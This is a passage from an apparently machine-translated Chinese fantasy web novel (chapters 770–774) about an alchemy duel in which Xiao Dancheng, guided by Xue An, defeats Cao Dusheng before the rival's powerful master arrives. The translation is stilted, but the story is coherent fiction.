    "As soon as it came up, it was this high-level pill, and only three hours were given. The difficulty is simply too great!"


    You must know that in Guiyixing, the pill is divided into the fifth stage of human, earth, heaven and law.


    Human Pill Di Pill is regarded as an ordinary spirit pill, and once it enters the Heaven-ranked Pill, the difficulty of refining suddenly increases.


    Many Huang Tier and even Xuan Tier alchemists need to spend a lot of effort to refine a qualified Heavenly Tiered Pill.


    And this time betting on the pill, the first game was actually a strong sun true pill that was considered top among the heavenly pill.


    Naturally, everyone was shocked.


    "This is probably what Cao Dusheng asked for! After all, everyone in the Alchemy Guild has to sell the face of the ancestor of Pill Quenching! It can be seen that Cao Dusheng came prepared, and it is estimated that Xiao Dancheng is in trouble!"


    At first, many alchemists were not very optimistic about Xiao Dancheng, but now seeing this scene, they shook their heads.


    At this time, Cao Dusheng said with a arrogant face: "Xiao Dancheng, it''s too late for you to give in!"


    Xiao Dancheng shook his head, "Master Xue said, this time I can only win and not lose. In order to make you kneel and call grandpa, I can''t quit!"


    As soon as he said this, the pill room was quiet.


    Because obviously there is no room for maneuver.


    really.


    Cao Dusheng''s face was pale, "Okay! Very good! Since you are obsessed with understanding, then I will let you die a little easier!"


    After all, Cao Dusheng flicked his sleeves and flew up into the air, heading straight to the pill furnace that had already been prepared.


    Xiao Dancheng smiled, turned around, and walked slowly towards his alchemy area.


    At this time, I saw this Cao Dusheng suddenly pointed at the pill furnace.


    boom!


    The five-colored flames in the pill furnace rose into the sky, forming a lotus shape.


    This beautiful fire control technique drew applause.


    Cao Dusheng was proud of his heart and deliberately glanced at the opposite Xiao Dancheng.


    Seeing that Xiao Dancheng was playing with the pill furnace calmly at this time, he couldn''t help but sneer in his heart.


    Then he deliberately showed off and started to choose the elixir like flowing water.


    Lieyang Zhendan requires hundreds of elixir, each of which has different properties and weights, and there must be no mistakes.


    Perhaps a single mistake would completely destroy this furnace of elixir.


    Therefore, this medicine is the most time to test an alchemist.


    But all this is no longer a problem in the hands of Cao Dusheng.


    I saw that every movement of him was chic and graceful, which made people pleasing to the eye.


    In the blink of an eye, the hundreds of panacea were selected.


    However, Xiao Dancheng here was still slowly selecting the elixir, and the progress was already far behind.


    Cao Dusheng was proud of his heart, and the slightest worries that had just disappeared.


    It seems that I was really worried just now, this old guy is obviously delaying time!


    Thinking in his mind, Cao Dusheng started taking medicine.


    If the choice of medicine is to test the basic skills of an alchemist, then the medicine is testing the alchemy master''s cultivation.


    Because at this time, you have only two things to do.


    That is to put the right medicinal materials into the pill furnace at the right time.


    Every step during this period cannot go wrong.


    Otherwise, the pill will be destroyed in the slightest, and the medicinal hedge will explode.


    After Cao Dusheng worshipped the ancestor of Quedan, his alchemy had indeed made considerable progress.


    Take medicine as an example, there is a peculiar rhythm in the quick action, which makes people can''t help but shake their minds.


    When the alchemists saw this, there was a solemn look on their faces.


    Because at this time, Cao Dusheng revealed the technique that made many people feel ashamed.


    Even Lu Baiyue couldn''t help nodding secretly.


    Although this Cao Dusheng was flattering, his alchemy was really good.


    Looking at Xiao Dancheng''s side, at this moment, he had just selected the elixir, and then slowly began to take the medicine.


    There was no impatience and firework in the whole process.


    Although it is fancy, it is not as beautiful as Cao Dusheng.


    But after you watch it for a long time, you will find that every movement of Xiao Dancheng is so natural.


    It''s as if every next action should happen like that, so it makes people feel very comfortable.


    Lu Baiyue''s eyes lit up.


    With these techniques, the cultivation base of this Xiao Dancheng''s alchemy is by no means comparable to that of an ordinary profound-rank alchemist.


    But the strange thing is, why is he just a yellow-order alchemist?


    Lu Baiyue was thinking about it in her heart.


    I saw a glimmer of light on the pill furnace on Cao Dusheng''s sidehiss! It''s Baoguang! "


    "Bao Guangxian, the lowest is also a middle-rank Lieyang Zhendan!"


    This discovery made many alchemists a little surprised.


    And Cao Dusheng was even more proud. The reason why he chose to refine the Lieyang True Pill was because it was this pill that he had practiced the most.


    As soon as Baoguang appeared, the battle was stable.


    But his pride lasted for less than a moment before he was shattered by a few exclamations.


    "Gosh! Look over there!"


    Everyone looked back.


    Seeing the colorful radiance appeared on Xiao Dancheng''s pill furnace, and at the same time a refreshing fragrance came.


    "This...this is a vision that only appears when Dan becomes a top grade!"

 Chapter 770： Dancheng top grade

    Dancheng top grade, colorful treasures.


    These two findings made the alchemist a little restless in the audience.


    After all, a mysterious pill that has been refined by a profound-level alchemist for several years will not necessarily have a pot of colorful treasures.


    Even the ground-level alchemist had to worry about it.


    But today it appeared in the hands of a Huang-level alchemist.


    How can this not be shocking.


    Cao Dusheng looked at this scene with a look of astonishment, "This... how is this possible?"


    In his impression, although this Xiao Dancheng''s alchemy was good, his talent was too poor to compare with himself.


    That''s why he was defeated in his own hands in the last pill fighting conference.


    What''s more, now that he has entered the ancestor of Quedan, his strength has improved by leaps and bounds.


    It stands to reason that this Xiao Dancheng should be far behind himself.


    But how could there be colorful radiance under his seemingly naive technique?


    Cao Dusheng really couldn''t figure out the truth in this.


    Lu Baiyue nodded secretly.


    She has now stepped into the ranks of the ground-level alchemists with one foot, and because of the wealth of the Lu family, her vision is much higher than that of ordinary alchemists.


    She was the only person in the audience who could see through the mystery of Xiao Dancheng''s alchemy technique just now.


    The so-called complex alchemy means that to refine a high-grade treasure pill requires extremely cumbersome preparations.


    But when Xiao Dancheng was refining the pill just now, although his techniques and movements looked very naive, they were actually very clever methods.


    Because he simplified all unnecessary steps and techniques.


    He did every step in the simplest and most labor-saving way.


    It sounds simple, but only when you do it will you discover the difficulties.


    Because everything in the world is always easy to add, but difficult to subtract.


    But Lu Baiyue couldn''t help but also had a trace of doubt at this time.


    Because this kind of alchemy technique can only be used skillfully under the tempering of countless furnace pills.


    Even Lu Baiyue, who had been born with countless fairy crystals since childhood, couldn''t reach this realm at this moment.


    And how did this Xiao Dancheng achieve it?


    Could it be that he can be so rich that he can practice his hands every day with Heaven-Order Pills.


    Lu Baiyue was puzzled.


    Only Xiao Dancheng himself understood what was going on.


    Being in a coma these days is not a waste of time.


    Xue An put his consciousness into the secret realm of the heart demon.


    Although the outside world seemed to have been in a coma for a few days.


    But from Xiao Dancheng''s point of view, dozens of years have passed.


    In the past few decades, what Xiao Dancheng has to do every day is to madly refine alchemy under the terrifying pressure of his own inner demons.


    In the secret realm transformed by the heart demon, the elixir is inexhaustible, you can use it as you like.


    If that''s all there is to it.


    The key is that every day, Xiao Dancheng has to refine the pill at the request of the inner demon.


    If you are not careful, the pill will not meet the requirements, it will be swallowed by the heart demon.


    Under the pain of suffering from the Devourer of the Heart, most people may not be able to hold on for a few days at all, and they will be completely crazy.


    But Xiao Dancheng persisted miraculously.


    Not only persisted.


    When he refines the pill every day, he uses all his energy to figure out and research.


    As Xue An and many people have said, Xiao Dancheng''s talent in the alchemy is actually not that brilliant.


    But in these decades of long time, Xiao Dancheng abandoned all distractions, and there was only one thing in his mind every day.


    That is alchemy!


    Xue An once said that what he lacks is a fearless heart.


    And this heart demon secret realm is the process of his retrieving that heart.


    finally.


    Under Xiao Dancheng''s almost abnormal squeeze on himself, he finally refined a pill that was enough to defeat the inner demon, and thus revived.


    Therefore, Xiao Dancheng was able to face this gambling fight with such calmness at this time.


    Because compared with the inner demon, this battle is simpler like a joke.


    At this moment, over time.


    The colorful radiance on the pill furnace in front of Xiao Dancheng became stronger and stronger. Even so, Xiao Dancheng still looked at it expressionlessly and kept fine-tuning the pill fire.


    At every step, he performed impeccably.


    In contrast, it was Cao Dusheng.


    The guy who just thought he was determined to win, was already in a mess at the moment.


    Especially when he saw the colorful radiance getting stronger, his mentality completely collapsed.


    The mentality collapsed, and the techniques naturally followed.


    Pill Fire, which should have been fine-tuned, also began to lose sight of one another.


    at last.


    Just heard a muffled sound.


    The pill furnace in front of Cao Dusheng raised green smoke.


    The glorious light that was already dim has long since dissipated.


    A burnt smell spread.


    His True Sun Pill was abandoned!


    Cao Dusheng stood there with a pale face.


    at this time.


    I saw Xiao Dancheng yelled, "Ning Dan!"


    Qi Cai Baoguang slid into the pill furnace in response.


    The furnace began to tremble slightly.


    Suddenly.


    The roof of the Dan furnace rose into the sky. A whole body was wrapped in flames, and a pill exuding powerful Danwei flew out of it, and circled Xiao Dan City for a few times, and then slowly landed on the sapphire plate.


    "Ten-ranked top grade!"


    "That''s right, the absolute high-rank Lieyang Zhendan!"


    The alchemists sighed in admiration, and there was a little awe in Xiao Dancheng''s eyes.


    Among the alchemy rivers and lakes, the alchemy was originally respected.


    Now Xiao Dancheng has proved his strength with his indisputable alchemy, and of course he will be awed by many alchemists.


    The judge of the Alchemy Guild glanced at Cao Dusheng, with a hint of hesitation and regret in his eyes, and then slowly said: "In the first game, Xiao Dancheng won!"


    If the results are not much different, he might even help Cao Dusheng out of conscience.


    But now one party has refined a high-grade heavenly pill in less than three hours, and the other party is the ending of the pill destruction.


    This is just another blind man, and it cannot be said that Cao Dusheng won.


    Therefore, in the first game, Xiao Dancheng won with an undoubtedly strong advantage.


    The bet is usually two wins in three games so the next game is the top priority.


    now.


    This gambling battle has also attracted the onlookers of countless alchemists.


    Many people who were originally prepared to fight the pill also gave up the thoughts in their hearts, and came together to watch this rare excitement.


    At this moment, Cao Dusheng''s complexion was extremely ugly, staring at Xiao Dancheng, "Old guy, this game is considered a bargain for you, and then I will make you look good!"


    Xiao Dancheng was not arrogant or impatient, and smiled lightly, "Well, I''ll wait!"


    This kind of demeanor caused many alchemists to nod secretly, believing that this person is indeed a master.


    But they didn''t know that Xiao Dancheng had already refined no less than hundreds of thousands of potions in the Heart Demon Secret Realm, and he naturally didn''t care about this little battle.


    "The next second game, Xuanming Yijing Dan! Limited time, one day!"

 Chapter 771： Game 2 Xuan Ming Yi Jing Dan

    oom!


    If the Lieyang Zhendan just now was a small earthquake, then once this Xuanming Yijing Dan came out, it was no less than a hurricane crossing.


    Countless alchemists looked at each other, thinking they had heard it wrong.


    Even Lu Baiyue, who had been watching coldly, was a little startled.


    "That''s right! It''s Xuanming Yijing Pill!"


    "This is obviously bullying! Who doesn''t know that this is the special skill of the ancestor of the quenching pill, and this is a heavenly peak pill with a trace of magic pill aura! How can a yellow-level alchemy be refined Come out?"


    "Who would say no, this Cao Dusheng was obviously a loser, and he intends to make a comeback through this!"


    No wonder these alchemists were so shocked.


    It is entirely because this Xuanming Yijing Pill is a very unique alien pill.


    In the Alchemy Guild, there are many well-known pills, such as the Lieyang True Pill that has just been refined.


    As long as your alchemist''s rank is sufficient, you can basically refine it.


    But this Xuanming Yijing Pill is different.


    First of all, this pill is hard to find and the conditions are harsh.


    Second, and the most important reason, is that this pill only has a simple pill in circulation.


    You know that if you want to refine a pill, you can do more than just look at the elixir.


    If no one explains to you the various conditions and doorways required, you may not be able to refine them in your life.


    And the reason for this is because this pill is an unspoken secret from the ancestor of the quenching pill.


    It can even be said that this pill was created by the ancestor of quenching pill.


    Now, as a disciple of the ancestor of the quenching pill, Cao Dusheng wants to refine this pill for gambling, making it clear that he is bullying people blatantly.


    This naturally made many alchemists uneasy.


    Cao Dusheng didn''t care about this, he sneered at the opposite Xiao Dancheng.


    "Old man Xiao, how is it? Do you have the guts to compete with me in this game? Of course, if you feel that you can''t beat me, it would be a pity to give up in this round. Even if we are tied, what do you think?"


    Xiao Dancheng''s complexion was extremely ugly.


    For dozens of years in the secret realm of the heart demon, he refined all the heavenly pill once.


    The only thing that hasn''t been a different pill like Xuanming Yijing Pill.


    In fact, he just wanted to refine it but couldn''t refine it.


    This is because although these medicines have prescriptions, they are not the same.


    Therefore, when faced with the clamor of Cao Dusheng, he could only do nothing.


    Seeing this scene, Cao Dusheng couldn''t help laughing proudly, "Don''t be embarrassed, let''s surrender this round as soon as possible!"


    But at this moment, Xue An slowly walked in and said lightly: "Xiao Dancheng, it''s time for this game!"


    After seeing Xue An''s appearance, Xiao Dancheng was shocked, his eyes flashed, and he immediately said, "Yes!"


    Then turned his head to look at Cao Dusheng, "I''ve beaten this game!"


    Cao Dusheng seemed to be caught by someone''s neck, his laughter was suffocated, and then he stared at Xue An viciously, and said sadly, "You dare to show up?"


    Xue An smiled slightly, "Why don''t you dare? After all, I have to wait for you to kneel in front of me and call grandpa!"


    "You..." Cao Dusheng was angry.


    All the alchemists all looked at Xue An with surprise.


    Obviously don''t understand what this man does.


    At this time, Xue An walked to the front of Xiao Dancheng, glanced at the Lieyang Zhendan on the sapphire plate, and smiled faintly, "Good job!"


    Xiao Dancheng respectfully stood with his hands down, like a primary school student, waiting for Xue An''s instructions.


    This scene made Lu Baiyue, who had been watching all this, startled slightly.


    She had just thought that this young man was Xiao Dancheng''s nephew, but it seemed the other way around.


    Xue An said to the judge at this time: "Since he is asked to refine the Xuanming Yijing Pill, can the pill be taken out for us to see!"


    The judge was taken aback, and then nodded, "Of course!"


    As he said, he nodded to the back.


    A little boy walked up to Xue An with a small box in his hand.


    The alchemists below began to talk.


    "What is this going to do?"


    "Could it be that it is only this time that you started to study pill?"


    "Haha, isn''t this a nonsense? Don''t talk about studying the pill now, just take it home and let him study for a year, it is estimated that he will not be able to touch the door!"


    These cynics are endless.


    Xue An seemed to have not heard it, stretched out his hand to take out the pill from the small box, stretched his eyes for a moment, and then slowly closed his eyes.


    Seeing this scene, Cao Dusheng laughed disdainfully.


    "Tsk tusk, pretends to look alike, I took a look at the pill so that I could study this Xuanming Yijing pill? Who do you think you are? It really makes people...


    Before the rest of the words were finished, Xue An opened his eyes suddenly, and a powerful majesty came out, holding back all the words that followed Cao Dusheng.


    Then Xue An narrowed his gaze, turned his head to look at Xiao Dancheng, and said faintly: "The person who wrote this prescription is either stupid or bad. Many things are confused. Now I will tell you the correct refining method!"


    Hearing these words, many alchemists shook their heads secretly, and some people looked at Xue An even more mockingly.


    Just take a look at the pill and can recreate the pill?


    And listening to the meaning of these words, it seems that I still want to improve this Xuanming Yijing Pill?


    This is almost the same as a dream.


    Cao Dusheng sneered even more, and felt confident that this Xue An was a deceitful person.


    Only Lu Baiyue noticed the scene just now, her heart moved slightly, and the look in Xue An''s eyes was also a little strange.


    This person is interesting!


    No matter what others think of it, in Xiao Dancheng''s mind, Xue An''s words are the irrefutable truth, so he nodded immediately and said: "Yes, master!"


    Of course, Xue An would not teach Xiao Dancheng how to refine it In fact, if you want to use words to explain it, it will take at least one day.


    So Xue An directly gave Xiao Dancheng a divine mind and passed his own insights.


    Xiao Dancheng shook his whole body, and began to frantically absorb the huge information in the divine mind Xue Andu gave him.


    If it were Xiao Dancheng before, it might take a long time for it to return to normal.


    But after being tempered by the heart demon, his mind is already tough enough.


    So in just a few breaths, he returned to normal, and then looked at Xue An in awe.


    Because he could see that the refining method Xue An gave him was countless times better than that of the pill recipe.


    At this time, Cao Dusheng said impatiently: "If you pretend to be a ghost, can you start?"


    Xiao Dancheng was already confident at this moment and smiled faintly, "Okay! Let''s start now!"

 Chapter 772： Dong Lings heart shock

    at the same time.


    The Dong Lingxin in Judan Palace was sitting in his study room, always feeling a little uneasy.


    Today is the day of fighting pill, I don''t know if Mr. Xiao is awake.


    Everything is to blame on that nasty guy, if it weren''t for him, Mr. Xiao wouldn''t have made a bet with Cao Dusheng.


    As a businessman operating the pill business in Banten City, Dong Lingxin knew better than anyone the terrifying power of the ancestor of the pill quenching.


    It can be said that 80% of the pill business in Banten City is monopolized by this quenching pill ancestor.


    This is why Dong Lingxin strongly opposed their gambling with Cao Dusheng.


    What if you win?


    The power of the ancestor of the quenching pill is huge, and dealing with a few foreign alchemists is simply too simple.


    Especially when Xiao Dancheng first started in this Judan Palace, he once gave Dong Lingxin some help.


    Dong Lingxin always remembered this, so he didn''t want Xiao Dancheng to have any accidents.


    Thinking of this, she pondered for a moment, got up and wanted to go to the yard where Xue An lived again.


    In any case, it is always good to let them leave Banten City first.


    But when she just walked to the door of the study.


    A little maid rushed in.


    "Miss, I just sent someone to bring tea and food to Mr. Xiao, but found that the courtyard was already empty!"


    "What?" Dong Ling was shocked.


    "Can you see clearly?"


    "Miss, I went to see it in person, and there is indeed no one, even Mr. Xiao who is unconscious is missing!"


    Dong Lingxin secretly said that it was not good, they must have gone to the Danlou to participate in Dan Dou!


    Thinking of this, Dong Ling gritted her teeth, and her heart became more and more angry at Xue An''s arrogance, but the matter was over and she could only find a way to remedy it, so she said solemnly.


    "Arrange a few people... Forget it, I will go personally!"


    With that said, step forward and go to the layman.


    The little maid chased and shouted, "Miss, you haven''t changed your clothes yet!"


    "Forget it, it''s too late!" Dong Lingxin said, and ran to the Danlou after leaving the door.


    In this Guiyi Middle Domain, almost everyone is cultivating.


    Even Dong Lingxin has a good cultivation base.


    Therefore, the scene of tea is no more than that, and it comes to the front of the Danlou in the center of the city.


    I saw that this place was already full of people, and from time to time little words such as Dou Dan and betting Dou came into Dong Lingxin''s ears.


    Dong Ling''s heart sank, knowing that it was still late, and anxiously, he squeezed into the Danlou.


    Dong Lingxin is engaged in the pill business, so naturally he has to deal with the people of the pill guild, so the guards at the gate also know her.


    "Why the treasurer of the east come over to see the excitement free?" the guard soldier said with a smile.


    Dong Ling had no time to be polite, and hurriedly asked: "Mr. Cao can be in now?"


    She was afraid to ask Xiao Dancheng and the others, these soldiers would no longer know.


    Sure enough, the soldier smiled, "Of course it''s inside, and I heard that I''m gambling against a bunch of buns from the Eastern Regions! Tsk tsk, dare to bet against Elder Cao, really impatient!"


    Dong Lingxin became more and more anxious when he heard the words, and after thanking him, he rushed into the hall of the Danlou.


    All the alchemists gathered in this hall were those below the Huang Tier who were not qualified to enter the pill room.


    These people in small groups are also discussing things in the alchemy.


    Dong Ling had no time to take care of these things, and saw that she walked quickly to the front of the Danfang guards, took a deep breath, and said, "Several people, I''ll go in and find Master Lu!"


    In the entire Dandao Guild, only Lu Baiyue can be called Master Lu.


    Dong Lingxin and this Lu Baiyue met in a very accidental situation, because Lu Baiyue appreciates this Dong Lingxin, so she quickly became good friends.


    Now that Judan Palace can do so much business, it is also dependent on Lu Baiyue''s prestige and strength.


    These guards also recognized Dong Lingxin, knew she was Lu Baiyue''s friend, and did not dare to stop them, so they nodded and said, "Master Lu is inside, please come in!"


    Speaking of giving way, Dong Ling took a deep breath, suppressed the irritation in his heart, and walked in.


    I saw that this alchemy room was full of alchemists from Huang and Xuan orders.


    But there was no sound inside, everyone stared blankly at Xiao Dancheng and Cao Dusheng who were gambling on the platform.


    Seeing Xiao Dancheng standing there unscathed, Dong Ling couldn''t help letting out a sigh of relief.


    Fortunately, it is not too late.


    Then she saw Lu Baiyue standing next to the high platform, and hurriedly moved in quietly.


    "Master Kisaragi!"


    Dong Lingxin''s summons awakened Lu Baiyue who was thinking.


    She turned her head to see that it was Dong Lingxin, and she was startled slightly, "Why are you here?"


    Dong Ling''s heart was full of anxiety, "Master Ru Yue, I''m here to beg you for something!"


    "what''s up?"


    "This person who is gambling with Cao Dusheng is a friend of mine. Can you think of a way to stop their gambling, or my friend will be at stake!" Dong Ling said sincerely.


    Upon hearing this, Lu Baiyue looked at Dong Lingxin with a strange look.


    Dong Lingxin thought that Lu Baiyue was unwilling to help, and hurriedly said: "Lord Ruyue, I beg you for this matter, you should do it as soon as possible, otherwise, it is estimated that this Mr. Xiao will really be over!"


    Lu Baiyue shook her head.


    Dong Ling''s heart sank, waiting to speak.


    Lu Baiyue chuckled lightly: "Who said that your friend will die soon?"


    "Isn''t it..." Dong Lingxin said with some doubts.


    Lu Baiyue pointed to the stage, "Your friend has just gambled with Cao Dusheng, and he won!"


    "What?" Dong Lingxin couldn''t believe her ears.


    She thought that Xiao Dancheng was here to bet against Cao Dusheng with the belief that he would die.


    Unexpectedly, he won.


    At this moment, the second game of gambling has also begun.


    Xue An''s remarks caused a commotion in the audience.


    Dong Lingxin is also among them.


    She stared at Xue An, who stood proudly on the high platform, and suddenly a thought came up in her heart.


    Could it be... I was wrong before?


    This man is not a liar, but a real alchemy master?


    At this moment, Lu Baiyue, who listened to the side, said lightly: "This man is very unusual!"


    Hearing this evaluation of Lu Baiyue Dongling couldn''t help being more astonished, and could only stare blankly at the competition on the high platform.


    The first is Cao Dusheng''s side, he has a certainty of winning this game.


    After all, in order to be able to win, he had specially consulted the ancestor of Master Quedan before gambling.


    As the alchemist who founded this pill, the experience of the ancestor of quenching pill is naturally the most accurate.


    So he saw him split the elixir almost without thinking, and his movements were extremely skillful.


    Looking back at Xiao Dancheng''s side, his movements seemed much slower.


    Even many elixir, Xiao Dancheng had to carefully consider before they could be divided.


    Seeing this scene, many alchemists shook their heads secretly.


    How could it be possible to win Cao Dusheng with this kind of groping and refining?

 Chapter 773： Baodan is done, I see how you can beat me

    Time just passed by one minute after another.


    Seven hours later.


    I saw that the pill furnace on Cao Dusheng''s side showed a precious pill gas as big as a wheel.


    This means that the Xuanming Yijing Pill he refined has begun to take shape.


    Seeing this scene, everyone turned their heads and looked at Xiao Dancheng, who was still adjusting the flames of the pill furnace, and couldn''t help but shook their heads secretly.


    Another hour later.


    There were bursts of pleasant noise from the pill furnace on Cao Dusheng''s side.


    "It''s Dan Dong!"


    "This Xuanming Yijing Pill is stable!"


    The so-called pill movement refers to when the pill is formed, because of the condensed aura, it will play various wonderful sounds.


    At the same time, this also shows that the quality of this elixir is very high.


    Cao Dusheng''s face showed color, and then glanced at Xiao Dancheng''s side.


    At this moment, there was no sound in Xiao Dancheng''s pill furnace, not even a trace of pill energy.


    This discovery made him more confident in his heart, thinking that he was sure to win.


    Another half hour passed.


    At this time, over Cao Dusheng''s pill furnace, the precious color pill gas became stronger, and the sound of pill movement became louder.


    Suddenly.


    I saw a glimmer of precious light shoot out from the pill furnace, and then the pill energy in the air rushed into the pill furnace.


    Dan move also came to an abrupt end.


    "Is it done?"


    This idea just came up in the hearts of all alchemists.


    Just listen to Cao Dusheng laughed triumphantly: "Xiao Dancheng, Baodan is complete, I see how you can beat me!"


    After that, I saw a pill that exuded a brilliant light rising from the pill furnace.


    Once this pill came out, pill energy even covered the whole pill room.


    "It''s actually a high-grade pill of heaven!"


    "Unexpectedly, this Cao Dusheng''s pill technique is already so powerful, he can actually refine the heavenly top grade Xuanming Yijing Pill!"


    The alchemists were amazed.


    Even Lu Baiyue frowned slightly.


    Although she had never liked this Cao Dusheng, she had to admit that this Xuanming Yijing Pill was indeed well refined.


    Cao Dusheng was extremely proud, caught the Xuanming Yijing Pill with the sapphire plate, and then gave Xiao Dancheng a weird smile.


    "Xiao Dancheng, it''s not too late if you admit defeat now!"


    Xiao Dancheng was not moved at all, and was still slowly refining the pill.


    Cao Dusheng sneered, "I really don''t see the coffin without crying, well, I will see what you can refine in the end!"


    Dong Lingxin asked in a daze at this time: "Master Baiyue, does Mr. Xiao still have a chance to win?"


    Lu Baiyue shook her head gently, "It''s difficult! Most of the day has passed, but he hasn''t even refined a trace of pill energy. With this little time left, how can he refine a heavenly rank? Another Dan?"


    Hearing these words, Dong Ling''s face was pale, and he wanted to say something, but in the end all turned into a sigh.


    Anyway, she has tried her best!


    I only hope that this Mr. Xiao can save his life after the gambling battle fails.


    Thinking of this, Dong Lingxin couldn''t help but look at Xue An, who had been sitting on a high bench and even the old **** was drinking tea.


    This man, why is he not at all anxious?


    You must know that if this gambling fight is lost, not only Xiao Dancheng will be abolished and expelled from the Central Region, but he will also have to kneel on the ground and apologize to others.


    As a result, until this time, he was still drinking tea there.


    Time is passing quietly in everyone''s minds.


    Ten hours.


    Eleven hours.


    at last.


    When a full twelve hours passed after only three quarters, there was still no pill energy overflowing from the pill furnace in front of Xiao Dancheng.


    Seeing this scene, almost everyone completely lost their confidence.


    Cao Dusheng was also a little impatient, and sneered: "Xiao Dancheng, there are three quarters of an hour before twelve hours. When do you want to postpone it? Now I confess my guilt, my uncle, I might be kind and relieve you Punish!"


    Xiao Dancheng was still unmoved, not even the slightest wave in his eyes.


    Cao Dusheng was bitter in his heart and couldn''t help but aimed at Xue An who was sitting aside drinking tea.


    "Tsk tsk, surname Xue, I really admire you! How can I still be calm now? I can tell you, if I irritate my uncle then, I will make you both unable to eat!"


    Xue An ignored Cao Dusheng��s clamor, but slowly put down the tea cup, then stretched out comfortably, and said lightly: ��How long is the time?��


    A little boy in charge of time replied: "There are still two and a half minutes!"


    Xue An smiled slightly, and then said to Xiao Dancheng: "Time is almost up!"


    Only then did Xiao Dancheng wake up from the realm of alchemy that I had forgotten about, and then responded, "The heat is enough!"


    "That''s good! Let the condensed pills come out!"


    "Yes!"


    Following Xue An''s order, Xiao Dancheng''s face was solemn, the purple glow in his eyes flourished, and layers of purple aura appeared all over his body.


    "It''s Xuanjie!"


    "Unexpectedly, he is already a Profound Rank Alchemist!"


    There was a slight commotion among the crowd.


    But even if it is a mysterious rank alchemist, how can it be.


    Now if he can''t refine a pill that beats Cao Dusheng, then he will still lose.


    Xiao Dancheng''s hands continued to seal, and the fire of the pill furnace turned into a blue fire lotus.


    "Condensation!"


    Xiao Dancheng gave a soft drink.


    Seeing the pill furnace, which had not moved at all, suddenly began to tremble.


    The magnitude of this tremor was mild at first, but soon it became more intense.


    But even so, there is still no trace of vitality.


    Upon seeing this, Cao Dusheng laughed, "It''s a big battle. Could it be that this pill furnace is about to explode!"


    As soon as the voice fell, I saw the pill furnace blasted into powder, and then a ball of blue light jumped out of it, and it immediately circled the entire pill room three times, and then quietly floated in the air.


    "what is this?"


    Many alchemists were a little surprised.


    Because this cyan light group floating in the air did not have the slightest pill energy overflow, and there was no pill energy.


    It looks like a semi-finished product that has not been refined.


    Cao Dusheng grinned and said, "After a long time, did you refine such a waste pill? It''s really a laugh!"


    Xiao Dancheng smiled at Cao Dusheng, "Don''t worry, this is its true face!"


    With that said, Xiao Dancheng pointed at the blue light with his hand.


    Just heard a very slight cracking sound.


    The cyan light shrouded in this medicine pill cracked like an eggshell.


    A powerful Danwei instantly swept the entire alchemy room, and even caused the entire alchemy room to tremble.


    The overflowing pill energy turned into various visions, and it was vaguely visible that there was a galloping horse in the air, and a real person appeared in the world.


    hiss!


    All alchemists in the audience took a breath.


    Even Lu Baiyue, who had always been indifferent, couldn''t contain the shock in her heart at this moment, and exclaimed, "This...this is..."

 Chapter 774： Dancheng good luck

    No wonder she was so shocked, because there was a trace of magic pill in this medicine, and it could even be said that she was promoted to magic pill only by a little.


    This also means that this Xiao Dancheng has already stepped into the ranks of Earth-level alchemists with one foot.


    And what kind of cultivation should this man who can modify the Dan Fang?


    Lu Baiyue watched Xue An curiously.


    At this time, Xiao Dancheng stood with his hands down and said lightly: "This pill is refined according to Master Xue''s improved pill formula. I call it...Xuanming Good Fortune Pill!"


    boom!


    This sentence caused another uproar.


    Among the elixir, only the new medicinal pill that has never been before can be worthy of the word good fortune.


    It''s easier said than done!


    From ancient times to the present, there have been so many amazing alchemists who have tried to refining a medicinal pill that has been successful.


    But everyone couldn''t say anything to argue with.


    Because that pill was quietly suspended in the air, its strength is obvious to all.


    Just like seeing a ghost, Cao Dusheng looked at this pill dumbly, and muttered to himself, "How is it possible...How could he only look at the pill to improve such a powerful pill?"


    At this time, Xiao Dancheng said in a cold tone: "Cao Dusheng, what can you say now?"


    Cao Dusheng was shocked, his complexion turned pale at a speed visible to the naked eye, and then he turned to the judge for help.


    But the judge also ignored Cao Dusheng at this moment.


    Because he also stared at this Xuanming Good Fortune Pill in amazement, until after a while, he said convincingly: "In the second game, the Eastern Region Xiao Dancheng won!"


    No one has any objections to this result.


    Only Cao Dusheng gradually fell into despair.


    Because he knew that he was defeated, and it was a complete defeat.


    Xiao Dancheng sneered and said: "Cao Dusheng, I would like to lose the bet, now kneel down and start shouting! I remember it is a grandfather three hundred, and one cannot be less!"


    Cao Dusheng''s face was pale.


    For a cultivator, such punishment is more terrifying than death.


    "You...you..."


    He hesitated, trying to find excuses to stop him.


    At this moment, I heard an indifferent voice from mid-air, "You can actually see through my Xuanming Yijing Pill at a glance and improve it. Young man, you really surprised me."


    Following the voice, an old man in black was seen falling from the sky with his hands on his back and appeared on the high platform.


    The elder''s eagle-nosed harrier, wearing a pure black pill robe, embroidered with gold rims, seemed not angry but prestigious.


    As soon as he saw this person, the alchemy master was in a low uproar, and then all bend down to salute.


    "Meet the ancestor!"


    "Have seen the ancestor quenching Dan!"


    That''s right.


    It was the leader of the Dan Dao Guild who came here, the ancestor of the quenching pill who would tremble after stomping on Wandan City.


    Cao Dusheng was ecstatic and threw himself directly in front of the ancestor Quedan, and said with great respect: "Master is here, disciple Cao Dusheng bows down!"


    "Useless things, don''t stand aside for me!" Quedan old ancestor scolded.


    "Yes!" Cao Dusheng did not dare to neglect at all, and hurriedly stood aside respectfully, but a deep joy appeared on his drooping face.


    This is all right, my master is here, I see who else would dare to make a mistake! Cao Dusheng was excited.


    But he was happy, but Xiao Dancheng''s complexion became extremely ugly.


    Because of the prestige of the ancestor of quenching Dan, he also knew it well.


    But before he could speak, Xue An on the side raised his eyes and glanced at the ancestor of Pill Tempering, and then said lightly: "You are the master of Cao Dusheng, ancestor of Pill Tempering?"


    Ancestor Quedan nodded proudly, "Yes, I am!"


    Xue An smiled, "What does it mean to come when your apprentice loses?"


    As soon as this sentence came out, many people couldn''t help but change their colors.


    You must know that since the ancestor of the quenching pill proved the Dao Alchemy, no one has dared to talk to him like this.


    really.


    Seeing a fierce light flashing in the eyes of the ancestor of Quedan, he sneered: "Young man, your skills are indeed good, I also appreciate it, but I hope you can see the situation clearly before speaking."


    "Oh? The situation?" Xue An said playfully, and then said in a leisurely manner: "But you are willing to accept the bet. Your apprentice has lost to us now, so naturally you have to fulfill the bet. Is there any problem?"


    The ancestor of Quedan heard this with a gloomy weird smile, "Of course it''s okay! But it is him, not you, who really bet with my apprentice!"


    Xue An hugged his shoulders, his eyes half-squinted, "So what?"


    The ancestor of the quenching pill said with a smug look: "It''s not too much, but there is a rule in our alchemy guild. The high-ranking alchemy has the right to command the lower alchemy. In other words, I will say now. Come out, he will listen to me!"


